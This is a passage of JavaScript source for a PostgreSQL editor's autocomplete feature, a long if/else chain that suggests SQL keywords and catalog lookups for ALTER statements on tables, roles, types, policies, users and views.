[autocompleteQuery.access_methods];\n \n } else if (strPreviousKeyWord === 'USING' && bolFirstSpace) {\n arrQueries = [['ADD OPERATOR', 'ADD FUNCTION', 'DROP OPERATOR', 'DROP FUNCTION', 'RENAME TO', 'OWNER TO', 'SET SCHEMA']];\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1]) === 'ADDOPERATOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousKeyWords.indexOf('OPERATOR') <= 3 && bolCurrentCharWhitespace && bolPreviousCharCloseParen) {\n arrQueries = [['FOR SEARCH', 'FOR ORDER BY']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ORDERBY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.btree_operator_families];\n \n } else if (arrPreviousKeyWords.indexOf('FUNCTION') <= 3 && bolCurrentCharWhitespace && bolPreviousCharCloseParen) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(ALTER\\s*OPERATOR)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'OPERATOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord[strPreviousWord.length - 1] === ')' && bolFirstSpace) {\n arrQueries = [['OWNER TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*POLICY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'POLICY' && bolFirstSpace) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.5) {\n arrQueries = [autocompleteQuery.policies];\n }\n \n } else if (strPreviousKeyWord === 'POLICY' && bolFirstSpace) {\n arrQueries = [['ON']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'ON' && bolFirstSpace) {\n arrQueries = [['TO', 'USING', 'WITH CHECK']];\n \n } else if (strPreviousWord === 'TO' && bolFirstSpace) {\n arrQueries = [['CURRENT_USER', 'PUBLIC', 'SESSION_USER'], autocompleteQuery.roles];\n \n } else if (arrPreviousWords[1] === 'TO' && bolFirstSpace) {\n arrQueries = [['USING', 'WITH CHECK']];\n \n } else if (bolCurrentCharWhitespace && bolPreviousCharCloseParen) {\n arrQueries = [['WITH CHECK']];\n }\n \n } else if ((/^(ALTER\\s*ROLE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'ROLE' && bolFirstSpace) {\n arrQueries = [['ALL', 'CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n \n } else if (arrPreviousWords[1] === 'ROLE' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'WITH', 'IN DATABASE', 'SET', 'RESET']];\n \n } else if (strPreviousWord === 'DATABASE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.databases];\n \n } else if (arrPreviousWords[1] === 'DATABASE' && bolFirstSpace) {\n arrQueries = [['SET', 'RESET']];\n \n } else if (strPreviousWord === 'SET' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (strPreviousWord === 'WITH' && bolFirstSpace) {\n arrQueries = [['SUPERUSER', 'NOSUPERUSER', 'CREATEDB', 'NOCREATEDB', 'CREATEROLE', 'NOCREATEROLE', 'CREATEUSER', 'NOCREATEUSER', 'INHERIT', 'NOINHERIT', 'LOGIN', 'NOLOGIN', 'REPLICATION', 'NOREPLICATION', 'BYPASSRLS', 'NOBYPASSRLS', 'CONNECTION LIMIT', 'ENCRYPTED PASSWORD', 'UNENCRYPTED PASSWORD', 'VALID UNTIL']];\n \n } else if (arrPreviousWords[1] === 'SET' && bolFirstSpace) {\n arrQueries = [['TO', 'TO DEFAULT', 'FROM CURRENT']];\n \n } else if (strPreviousWord === 'RESET' && bolFirstSpace) {\n arrQueries = [['ALL'], autocompleteQuery.settings];\n }\n \n } else if ((/^(ALTER\\s*RULE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'RULE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.rules];\n \n } else if (arrPreviousWords[1] === 'RULE' && bolFirstSpace) {\n arrQueries = [['ON']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'ON' && bolFirstSpace) {\n arrQueries = [['RENAME TO']];\n }\n \n } else if ((/^(ALTER\\s*SCHEMA)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SCHEMA' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'SCHEMA' && bolFirstSpace) {\n arrQueries = [['OWNER TO', 'RENAME TO']];\n }\n \n } else if ((/^(ALTER\\s*SEQUENCE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SEQUENCE' && bolFirstSpace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((/(SEQUENCE|EXISTS)/gi).test(arrPreviousWords[1]) && bolFirstSpace) {\n arrQueries = [['OWNER TO', 'RENAME TO', 'SET SCHEMA', 'INCREMENT BY', 'MINVALUE', 'NO MINVALUE', 'MAXVALUE', 'NO MAXVALUE', 'START WITH', 'RESTART', 'RESTART WITH', 'CACHE', 'CYCLE', 'NO CYCLE', 'OWNED BY', 'OWNED BY NONE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'OWNEDBY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(ALTER\\s*SERVER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SERVER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.servers];\n \n } else if (strPreviousKeyWord === 'SERVER' && bolFirstSpace) {\n arrQueries = [['VERSION', 'OPTIONS', 'OWNER TO', 'RENAME TO']];\n \n } else if (strPreviousKeyWord === 'VERSION' && bolFirstSpace) {\n arrQueries = [['OPTIONS']];\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [['ADD', 'SET', 'DROP']];\n }\n \n } else if ((/^(ALTER\\s*SYSTEM)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'SYSTEM' && bolFirstSpace) {\n arrQueries = [['SET', 'RESET']];\n \n } else if (strPreviousWord === 'SET' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (arrPreviousWords[1] === 'SET' && bolFirstSpace) {\n arrQueries = [['TO', 'TO DEFAULT']];\n \n } else if (strPreviousWord === 'RESET' && bolFirstSpace) {\n arrQueries = [['ALL'], autocompleteQuery.settings];\n }\n \n } else if ((/^(ALTER\\s*TABLESPACE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (arrPreviousWords[1] === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'OWNER TO', 'SET', 'RESET']];\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [['seq_page_cost', 'random_page_cost']];\n }\n \n } else if ((/^(ALTER\\s*TABLE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TABLE' && bolFirstSpace) {\n arrQueries = [['IF EXISTS', 'ONLY', 'ALL IN TABLESPACE'], autocompleteQuery.schemas];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'TABLEIFEXISTS'\n && bolFirstSpace) {\n arrQueries = [['ONLY'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'ONLY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((\n strPreviousKeyWord === 'TABLE'\n || (arrPreviousKeyWords[2] + arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'TABLEIFEXISTS'\n || strPreviousKeyWord === 'ONLY'\n )\n && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'SET SCHEMA', 'OWNER TO', 'ADD COLUMN', 'RENAME COLUMN', 'DROP COLUMN', 'ALTER COLUMN', 'RENAME CONSTRAINT', 'ADD', 'ALTER CONSTRAINT', 'VALIDATE CONSTRAINT', 'DROP CONSTRAINT', 'DISABLE TRIGGER', 'ENABLE TRIGGER', 'ENABLE REPLICA TRIGGER', 'ENABLE ALWAYS TRIGGER', 'DISABLE RULE', 'ENABLE RULE', 'ENABLE REPLICA RULE', 'ENABLE ALWAYS RULE', 'DISABLE ROW LEVEL SECURITY', 'ENABLE ROW LEVEL SECURITY', 'FORCE ROW LEVEL SECURITY', 'NO FORCE ROW LEVEL SECURITY', 'CLUSTER ON', 'SET WITHOUT CLUSTER', 'SET WITH OIDS', 'SET WITHOUT OIDS', 'SET TABLESPACE', 'SET LOGGED', 'SET UNLOGGED', 'SET', 'RESET', 'INHERIT', 'NO INHERIT', 'OF', 'NOT OF', 'REPLICA IDENTITY DEFAULT', 'REPLICA IDENTITY USING INDEX', 'REPLICA IDENTITY FULL', 'REPLICA IDENTITY NOTHING']];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1] === 'ADDCOLUMN')\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((arrPreviousWords[3] + arrPreviousWords[2] === 'ADDCOLUMN')\n && bolFirstSpace) {\n arrQueries = [['COLLATE']];\n \n } else if ( (\n (arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCOLUMN')\n || (arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCOLUMNIFEXISTS')\n || (arrPreviousWords[1] + arrPreviousWords[0] === 'RENAMECOLUMN')\n || (arrPreviousWords[1] + arrPreviousWords[0] === 'ALTERCOLUMN')\n ) && bolFirstSpace) {\n if (arrPreviousWords[1] === 'DROP') {\n arrQueries = [['IF EXISTS'], autocompleteQuery.allcolumns];\n } else {\n arrQueries = [autocompleteQuery.allcolumns];\n }\n \n } else if ((\n ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'DROPCOLUMN')\n || ((arrPreviousKeyWords[3] + arrPreviousKeyWords[2] + arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'DROPCOLUMNIFEXISTS')\n ) && bolFirstSpace) {\n arrQueries = [['RESTRICT', 'CASCADE']];\n \n } else if ( (arrPreviousKeyWords[1] + arrPreviousKeyWords[0] === 'RENAMECOLUMN')\n && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if ( (arrPreviousKeyWords[1] + arrPreviousKeyWords[0] === 'ALTERCOLUMN')\n && bolFirstSpace) {\n arrQueries = [['TYPE', 'SET DEFAULT', 'DROP DEFAULT', 'SET NOT NULL', 'DROP NOT NULL', 'RESET', 'SET'\n , 'SET STATISTICS', 'SET STORAGE PLAIN', 'SET STORAGE EXTERNAL', 'SET STORAGE EXTENDED'\n , 'SET STORAGE MAIN']];\n \n } else if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousKeyWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [['COLLATE']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collations];\n \n } else if (strPreviousKeyWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [['USING']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0] === 'RENAMECONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1] === 'RENAMECONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0] === 'VALIDATECONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'DROPCONSTRAINTIFEXISTS'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[4])];\n \n } else if ((\n (arrPreviousWords[4] + arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1]) === 'DROPCONSTRAINTIFEXISTS'\n || (arrPreviousWords[2] + arrPreviousWords[1]) === 'DROPCONSTRAINT'\n ) && bolFirstSpace) {\n arrQueries = [['RESTRICT', 'CASCADE']];\n \n } else if ((\n (arrPreviousWords[1] + arrPreviousWords[0]) === 'DISABLETRIGGER'\n || (arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLETRIGGER'\n ) && bolFirstSpace) {\n arrQueries = [['ALL', 'USER'], autocompleteQuery.table_qualified_triggers.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((\n (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEREPLICATRIGGER'\n || (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEALWAYSTRIGGER'\n ) && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_triggers.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[3])];\n \n } else if (strPreviousWord === 'INHERIT' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ALTERCONSTRAINT'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_triggers.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'ALTERCONSTRAINT'\n && bolFirstSpace) {\n arrQueries = [['DEFERRABLE', 'NOT DEFERRABLE', 'INITIALLY DEFERRED', 'INITIALLY IMMEDIATE']];\n \n } else if (strPreviousWord === 'DEFERRABLE' && bolFirstSpace) {\n arrQueries = [['INITIALLY DEFERRED', 'INITIALLY IMMEDIATE']];\n \n } else if (arrPreviousWords.indexOf('ADD') !== -1\n && arrPreviousWords.indexOf('VALID') === -1\n && arrPreviousWords.indexOf('COLUMN') === -1\n && arrPreviousWords.indexOf('CONSTRAINT') === -1\n && arrPreviousWords.indexOf('INDEX') === -1\n && strPreviousWord !== 'ADD' && intParenLevel === 0\n && bolFirstSpace) {\n arrQueries = [['NOT VALID']];\n \n // set after alter column\n } else if ((arrPreviousKeyWords[1] === 'COLUMN' && (/(SET|RESET)/gi).test(strPreviousKeyWord))\n && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['n_distinct = ', 'n_distinct_inherited = ']];\n \n // the only other set\n } else if ((arrPreviousWords.indexOf('SET') !== -1 || arrPreviousWords.indexOf('RESET') !== -1)\n && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['fillfactor', 'autovacuum_enabled', 'toast.autovacuum_enabled', 'autovacuum_vacuum_threshold', 'toast.autovacuum_vacuum_threshold', 'autovacuum_vacuum_scale_factor', 'toast.autovacuum_vacuum_scale_factor', 'autovacuum_analyze_threshold', 'autovacuum_analyze_scale_factor', 'autovacuum_vacuum_cost_delay', 'toast.autovacuum_vacuum_cost_delay', 'autovacuum_vacuum_cost_limit', 'toast.autovacuum_vacuum_cost_limit', 'autovacuum_freeze_min_age', 'toast.autovacuum_freeze_min_age', 'autovacuum_freeze_max_age', 'toast.autovacuum_freeze_max_age', 'autovacuum_freeze_table_age', 'toast.autovacuum_freeze_table_age', 'autovacuum_multixact_freeze_min_age', 'toast.autovacuum_multixact_freeze_min_age', 'autovacuum_multixact_freeze_max_age', 'toast.autovacuum_multixact_freeze_max_age', 'autovacuum_multixact_freeze_table_age', 'toast.autovacuum_multixact_freeze_table_age', 'log_autovacuum_min_duration', 'toast.log_autovacuum_min_duration', 'user_catalog_table']];\n \n } else if (strPreviousWord === 'ADD' && bolFirstSpace) {\n arrQueries = [['CONSTRAINT', 'UNIQUE USING INDEX', 'PRIMARY KEY USING INDEX']];\n \n } else if (strPreviousWord === 'INDEX' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'INDEX' && bolFirstSpace) {\n arrQueries = [['DEFERRABLE', 'NOT DEFERRABLE', 'INITIALLY DEFERRED', 'INITIALLY IMMEDIATE']];\n \n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ADDCONSTRAINT'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1]) === 'ADDCONSTRAINT'\n && bolFirstSpace) {\n arrQueries = [['UNIQUE USING INDEX', 'PRIMARY KEY USING INDEX']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'CLUSTERON'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((\n (arrPreviousWords[1] + arrPreviousWords[0]) === 'DISABLERULE'\n || (arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLERULE'\n ) && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_rules.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((\n (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEREPLICARULE'\n || (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEALWAYSRULE'\n ) && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_rules.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[3])];\n \n } else if (strPreviousWord === 'OF' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'INTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['OWNED BY', 'SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.roles];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [['SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['NOWAIT']];\n }\n \n } else if ((/^(ALTER\\s*TEXT\\s*SEARCH\\s*CONFIGURATION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'CONFIGURATION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'CONFIGURATION' && bolFirstSpace) {\n arrQueries = [['ADD MAPPING', 'ALTER MAPPING', 'DROP MAPPING', 'RENAME TO', 'OWNER TO', 'SET SCHEMA']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ADDMAPPING'\n && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ALTERMAPPING'\n && bolFirstSpace) {\n arrQueries = [['FOR', 'REPLACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'DROPMAPPING'\n && bolFirstSpace) {\n arrQueries = [['IF EXISTS', 'FOR']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'IFEXISTS'\n && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if (arrPreviousWords[1] === 'REPLACE' && bolFirstSpace) {\n arrQueries = [['WITH']];\n \n } else if (strPreviousWord === 'FOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.text_search_tokens];\n \n } else if (strPreviousWord === 'REPLACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'WITH' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (bolAfterComma && autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (bolAfterComma && autocompleteSearchBackForWord(strScript, intCursorPosition, 'FOR')) {\n arrQueries = [autocompleteQuery.text_search_tokens];\n \n } else if (bolCurrentCharWhitespace && autocompleteSearchBackForWord(strScript, intCursorPosition, 'FOR')\n && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'ADD')) {\n arrQueries = [['REPLACE', 'WITH']];\n \n } else if (bolCurrentCharWhitespace && autocompleteSearchBackForWord(strScript, intCursorPosition, 'FOR')) {\n arrQueries = [['WITH']];\n }\n \n } else if ((/^(ALTER\\s*TEXT\\s*SEARCH\\s*DICTIONARY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'DICTIONARY' && bolFirstSpace) {\n arrQueries = [['()', 'RENAME TO', 'OWNER TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*TEXT\\s*SEARCH\\s*PARSER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'PARSER' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*TEXT\\s*SEARCH\\s*TEMPLATE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TEMPLATE' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TRIGGER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.triggers];\n \n } else if (arrPreviousWords[1] === 'TRIGGER' && bolFirstSpace) {\n arrQueries = [['ON']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'ON' && bolFirstSpace) {\n arrQueries = [['RENAME TO']];\n }\n \n } else if ((/^(ALTER\\s*TYPE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TYPE' && bolFirstSpace\n && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'ATTRIBUTE')) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'TYPE' && bolFirstSpace\n && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'ATTRIBUTE')) {\n arrQueries = [['OWNER TO', 'RENAME TO', 'SET SCHEMA', 'ADD ATTRIBUTE', 'DROP ATTRIBUTE'\n , 'ALTER ATTRIBUTE', 'RENAME ATTRIBUTE', 'ADD VALUE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ALTERATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1]) === 'ALTERATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [['TYPE']];\n \n } else if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (arrPreviousWords[1] === 'TYPE' && bolFirstSpace) {\n arrQueries = [['COLLATE', 'CASCADE', 'RESTRICT']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ADDATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1]) === 'ADDATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((arrPreviousWords[3] + arrPreviousWords[2]) === 'ADDATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [['COLLATE', 'CASCADE', 'RESTRICT']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collations];\n \n } else if (arrPreviousWords[1] === 'COLLATE' && bolFirstSpace) {\n arrQueries = [['CASCADE', 'RESTRICT']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'DROPATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'IFEXISTS'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((\n (arrPreviousWords[2] + arrPreviousWords[1]) === 'DROPATTRIBUTE'\n || (arrPreviousWords[2] + arrPreviousWords[1]) === 'IFEXISTS'\n ) && bolFirstSpace) {\n arrQueries = [['CASCADE', 'RESTRICT']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'RENAMEATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1]) === 'RENAMEATTRIBUTE'\n && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if (arrPreviousWords[1] === 'TO' && bolFirstSpace) {\n arrQueries = [['CASCADE', 'RESTRICT']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ADDVALUE'\n && bolFirstSpace) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.3) {\n arrQueries = [['IF NOT EXISTS']];\n }\n \n } else if ((\n (arrPreviousWords[2] + arrPreviousWords[1]) === 'ADDVALUE'\n || (arrPreviousWords[2] + arrPreviousWords[1]) === 'NOTEXISTS'\n ) && bolFirstSpace) {\n arrQueries = [['BEFORE', 'AFTER']];\n \n } else if (strPreviousWord === 'BEFORE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.enum_qualified_values.replace(/\\{\\{ENUMNAME\\}\\}/gi, arrFirstWords[2])];\n \n } else if (strPreviousWord === 'AFTER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.enum_qualified_values.replace(/\\{\\{ENUMNAME\\}\\}/gi, arrFirstWords[2])];\n }\n \n } else if ((/^(ALTER\\s*USER\\s*MAPPING)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'MAPPING' && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if (strPreviousWord === 'FOR' && bolFirstSpace) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.5) {\n arrQueries = [['USER', 'CURRENT_USER', 'SESSION_USER', 'PUBLIC'], autocompleteQuery.roles];\n } else {\n arrQueries = [['USER', 'CURRENT_USER', 'PUBLIC'], autocompleteQuery.roles];\n }\n \n } else if (arrPreviousWords[1] === 'FOR' && bolFirstSpace) {\n arrQueries = [['SERVER']];\n \n } else if (strPreviousWord === 'SERVER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.servers];\n \n } else if (arrPreviousWords[1] === 'SERVER' && bolFirstSpace) {\n arrQueries = [['OPTIONS']];\n \n } else if ((strPreviousKeyWord === 'OPTIONS' && bolCurrentCharOpenParen) || bolAfterComma) {\n arrQueries = [['ADD', 'SET', 'DROP']];\n }\n \n } else if ((/^(ALTER\\s*USER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'USER' && bolFirstSpace) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.5) {\n arrQueries = [['CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n } else {\n arrQueries = [autocompleteQuery.roles];\n }\n \n } else if (arrPreviousWords[1] === 'USER' && bolFirstSpace) {\n arrQueries = [['WITH', 'RENAME TO', 'SET', 'RESET']];\n \n } else if (strPreviousWord === 'WITH' && bolFirstSpace) {\n arrQueries = [['SUPERUSER', 'NOSUPERUSER', 'CREATEDB', 'NOCREATEDB', 'CREATEROLE', 'NOCREATEROLE', 'CREATEUSER', 'NOCREATEUSER', 'INHERIT', 'NOINHERIT', 'LOGIN', 'NOLOGIN', 'REPLICATION', 'NOREPLICATION', 'CONNECTION LIMIT', 'ENCRYPTED PASSWORD', 'UNENCRYPTED PASSWORD', 'VALID UNTIL']];\n \n } else if (strPreviousWord === 'SET' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (arrPreviousWords[1] === 'SET' && bolFirstSpace) {\n arrQueries = [['TO', 'TO DEFAULT', 'FROM CURRENT']];\n \n } else if (strPreviousWord === 'RESET' && bolFirstSpace) {\n arrQueries = [['ALL'], autocompleteQuery.settings];\n }\n \n } else if ((/^(ALTER\\s*VIEW)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'VIEW' && bolFirstSpace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((arrPreviousWords[1] === 'VIEW' || arrPreviousWords[1] === 'EXISTS')\n && bolFirstSpace) {\n arrQueries = [['ALTER COLUMN', 'OWNER TO', 'RENAME TO', 'SET SCHEMA', 'SET', 'RESET']];\n \n } else if ((strPreviousWord === 'ALTER' || strPreviousWord === 'COLUMN')\n && bolFirstSpace) {\n arrQueries = 